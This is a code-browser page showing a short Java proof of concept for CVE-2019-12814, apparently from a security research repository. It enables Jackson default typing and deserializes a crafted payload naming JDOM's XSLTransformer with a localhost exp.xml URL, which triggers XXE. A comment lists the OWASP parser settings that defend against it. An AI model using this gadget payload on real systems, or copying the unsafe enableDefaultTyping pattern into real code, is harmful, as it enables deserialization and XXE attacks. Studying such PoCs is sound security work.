MCPcopy Create free account
hub / github.com/Firebasky/Java / CVE_2019_12814

Class CVE_2019_12814

jackson/src/main/java/com/firebasky/cve/CVE_2019_12814.java:9–31  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

7import java.io.IOException;
8
9public class CVE_2019_12814 {
10 //JDOM
11 public static void main(String[] args) throws XSLTransformException {
12 //XSLTransformer xslTransformer = new XSLTransformer("http://127.0.0.1:8999/hello");
13 String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:1234/exp.xml\"]";
14 ObjectMapper mapper = new ObjectMapper();
15 mapper.enableDefaultTyping();
16 try {
17 Object object = mapper.readValue(payload, Object.class);
18 } catch (IOException e) {
19 e.printStackTrace();
20 }
21 }
22/**
23 * https://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%94CVE-2019-12814%EF%BC%88%E5%9F%BA%E4%BA%8EJDOM-XSLTransformer%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
24 * OWASP推荐的防御XXE的setFeature()要设置下面几个值:
25 * factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
26 * factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
27 * factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
28 * factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
29 */
30
31}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected